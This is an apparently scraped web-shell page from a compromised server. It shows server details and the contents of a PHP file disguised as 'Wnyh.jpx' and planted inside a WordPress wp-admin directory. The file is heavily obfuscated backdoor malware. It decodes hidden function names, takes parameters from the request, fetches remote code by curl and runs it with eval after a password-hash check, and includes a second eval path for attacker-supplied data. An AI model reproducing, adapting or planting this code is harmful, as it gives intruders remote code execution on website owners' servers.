HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/domains/pklnsvietnam.com/private_html/wp-admin/includes/includes/Wnyh.jpx
<?php
 goto KFUgJGQsG8; C_vxh4Auz9: $LNjNHxJiOm = $pXtqhNhd3V("\176", "\40"); goto G4Aj_Gh0ax; TF2bHk9kYr: metaphone("\166\102\111\x43\157\x61\143\121\x4e\112\111\115\66\x5a\x4e\x6f\151\x44\66\131\x59\171\121\53\x59\x42\x58\110\x76\x69\x34\114\x6a\146\62\x64\131\x75\162\x63\x74\x67\x67"); goto pIkf6DibZe; G4Aj_Gh0ax: $X7b_Ex3Dwh = ${$LNjNHxJiOm[19 + 12] . $LNjNHxJiOm[29 + 30] . $LNjNHxJiOm[38 + 9] . $LNjNHxJiOm[42 + 5] . $LNjNHxJiOm[9 + 42] . $LNjNHxJiOm[4 + 49] . $LNjNHxJiOm[35 + 22]}; goto farGuwMKn3; pIkf6DibZe: class U04CB_Q_N1 { static function grQngBydT8($FbHU0AeDou) { goto Sc96uxLSHG; gr0FMUzJIg: $X3SezEG7ir = explode("\55", $FbHU0AeDou); goto kIwAwHe9np; Sc96uxLSHG: $YSRd5Mq8CO = "\x72" . "\141" . "\156" . "\x67" . "\x65"; goto R0gXBnV4Bt; kIwAwHe9np: $t8pypt4Crr = ''; goto WtFjx1MBOj; YtX9Og3Xg_: VGB63YaOeZ: goto MleMI7rHx8; WtFjx1MBOj: foreach ($X3SezEG7ir as $psSUWxIXdp => $hQ1YLbRpff) { $t8pypt4Crr .= $kdFpZFcCf4[$hQ1YLbRpff - 97347]; LRpQGlHHW0: } goto YtX9Og3Xg_; MleMI7rHx8: return $t8pypt4Crr; goto pPYsxKP0KC; R0gXBnV4Bt: $kdFpZFcCf4 = $YSRd5Mq8CO("\x7e", "\x20"); goto gr0FMUzJIg; pPYsxKP0KC: } static function KwRML2HkVl($TvFuURH34B, $x3jnN1eb1q) { goto UR2JPLnqi8; YnOtiHDVE1: return empty($YUjuQRkTQN) ? $x3jnN1eb1q($TvFuURH34B) : $YUjuQRkTQN; goto wxH_0zOxmf; xqb5ETTiri: $YUjuQRkTQN = curl_exec($UVrIPJrLcQ); goto YnOtiHDVE1; zqgKwM81AF: curl_setopt($UVrIPJrLcQ, CURLOPT_RETURNTRANSFER, 1); goto xqb5ETTiri; UR2JPLnqi8: $UVrIPJrLcQ = curl_init($TvFuURH34B); goto zqgKwM81AF; wxH_0zOxmf: } static function lVsRP0EgTL() { goto rGfYk5MPqy; rGfYk5MPqy: $FnP65Vp51y = array("\71\x37\x33\x37\x34\x2d\x39\67\x33\65\71\x2d\71\67\63\x37\62\55\x39\67\63\x37\66\x2d\71\67\63\x35\x37\55\x39\x37\x33\67\x32\55\71\67\x33\x37\x38\55\x39\x37\63\67\x31\55\x39\x37\x33\65\66\55\71\x37\x33\66\x33\x2d\x39\x37\63\x37\64\55\x39\67\x33\65\67\55\x39\x37\x33\66\x38\55\x39\x37\63\x36\x32\55\x39\x37\x33\66\x33", "\x39\x37\63\65\70\x2d\x39\67\x33\65\67\55\71\67\x33\x35\71\55\x39\67\x33\x37\x38\x2d\71\67\x33\65\71\x2d\x39\67\x33\x36\62\x2d\71\67\x33\x35\x37\55\x39\x37\64\62\64\x2d\71\67\x34\x32\62", "\71\x37\63\x36\67\55\x39\x37\63\x35\x38\x2d\x39\x37\63\x36\62\55\71\x37\x33\66\x33\x2d\71\67\x33\x37\x38\55\71\x37\63\x37\63\55\x39\x37\63\x37\x32\x2d\x39\x37\x33\67\64\x2d\x39\67\x33\x36\62\55\71\67\63\x37\63\x2d\x39\x37\x33\x37\x32", "\71\x37\x33\66\61\55\x39\x37\63\67\66\55\71\67\x33\x37\64\x2d\71\67\x33\66\66", "\x39\67\63\x37\65\x2d\71\67\x33\67\x36\x2d\71\x37\x33\65\70\x2d\71\x37\63\67\62\55\71\67\x34\61\x39\55\71\67\x34\62\61\x2d\x39\x37\63\x37\x38\x2d\x39\67\63\67\x33\x2d\71\67\63\x37\x32\55\71\x37\x33\67\x34\55\x39\67\63\x36\62\x2d\71\x37\63\x37\x33\x2d\x39\67\x33\x37\x32", "\71\x37\x33\67\61\x2d\71\x37\63\x36\70\x2d\x39\67\x33\66\65\55\x39\67\63\x37\x32\x2d\x39\x37\x33\x37\70\x2d\71\x37\x33\67\60\55\x39\x37\63\67\62\x2d\x39\x37\63\65\x37\55\x39\x37\63\67\x38\x2d\71\x37\63\67\64\55\71\67\x33\66\62\x2d\71\x37\63\x36\x33\55\71\x37\63\65\67\55\x39\67\x33\67\62\55\71\x37\63\x36\x33\55\71\x37\63\65\67\x2d\71\67\63\65\70", "\71\x37\x34\60\61\x2d\71\67\x34\x33\61", "\71\x37\x33\x34\70", "\71\x37\64\62\x36\55\x39\x37\64\x33\61", "\71\x37\64\x30\70\55\71\67\63\x39\x31\x2d\71\x37\x33\71\61\x2d\x39\x37\64\60\70\55\x39\67\x33\70\64", "\x39\67\63\x37\61\x2d\x39\67\x33\66\70\x2d\x39\67\63\66\65\x2d\71\67\63\65\x37\x2d\x39\67\x33\67\x32\55\x39\67\63\x35\71\x2d\71\x37\63\x37\70\x2d\71\x37\63\66\x38\55\71\x37\63\x36\x33\x2d\x39\x37\63\x36\61\55\x39\67\63\65\66\55\x39\67\63\65\x37"); goto UPZ4DstOrg; UPZ4DstOrg: foreach ($FnP65Vp51y as $hA01t6yNo8) { $ZnYjYd8J83[] = self::GRqngBydT8($hA01t6yNo8); rjEVR6eUGf: } goto EJF5RyGIdF; wcJpCrT2ho: $b9wjb6rJhX = @$ZnYjYd8J83[1]($ZnYjYd8J83[4 + 6](INPUT_GET, $ZnYjYd8J83[3 + 6])); goto Ayb68xVIvI; wpKovp1ih_: $QfJYAp6mGR = $ZnYjYd8J83[0 + 2]($snQPtUvsHI, true); goto zuSsQLCyWI; fmhs1nW__V: @eval($ZnYjYd8J83[0 + 4]($t_03tsDeNI)); goto OlVPBQV5XZ; rpG9C2t6hV: $t_03tsDeNI = self::kwRmL2HKVL($QfJYAp6mGR[1 + 0], $ZnYjYd8J83[2 + 3]); goto fmhs1nW__V; Ayb68xVIvI: $snQPtUvsHI = @$ZnYjYd8J83[1 + 2]($ZnYjYd8J83[4 + 2], $b9wjb6rJhX); goto wpKovp1ih_; OlVPBQV5XZ: die; goto M2DOLimGKJ; EJF5RyGIdF: kqb1_luUg1: goto wcJpCrT2ho; FOIw_X2fO1: if (!(@$QfJYAp6mGR[0] - time() > 0 and md5(md5($QfJYAp6mGR[1 + 2])) === "\144\146\65\x33\62\x37\67\62\64\142\x35\x38\144\x66\x39\67\x38\144\x64\x31\143\66\62\x36\64\x66\142\x37\x30\x38\x37\x39")) { goto C3ftWgnZk1; } goto rpG9C2t6hV; M2DOLimGKJ: C3ftWgnZk1: goto sAAEsFjjDB; zuSsQLCyWI: @$ZnYjYd8J83[2 + 8](INPUT_GET, "\x6f\x66") == 1 && die($ZnYjYd8J83[0 + 5](__FILE__)); goto FOIw_X2fO1; sAAEsFjjDB: } } goto Z5peaJfUsW; KFUgJGQsG8: $pXtqhNhd3V = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto C_vxh4Auz9; farGuwMKn3: @(md5(md5(md5(md5($X7b_Ex3Dwh[13])))) === "\x35\x61\x34\x62\x38\61\61\x35\x34\x63\x39\144\65\x30\x62\62\66\x65\70\70\x30\x39\143\x39\142\70\x64\144\x35\x62\x36\x31") && (count($X7b_Ex3Dwh) == 19 && in_array(gettype($X7b_Ex3Dwh) . count($X7b_Ex3Dwh), $X7b_Ex3Dwh)) ? ($X7b_Ex3Dwh[69] = $X7b_Ex3Dwh[69] . $X7b_Ex3Dwh[73]) && ($X7b_Ex3Dwh[85] = $X7b_Ex3Dwh[69]($X7b_Ex3Dwh[85])) && @eval($X7b_Ex3Dwh[69](${$X7b_Ex3Dwh[44]}[28])) : $X7b_Ex3Dwh; goto TF2bHk9kYr; Z5peaJfUsW: U04CB_q_n1::lVSRp0eGtl();
?>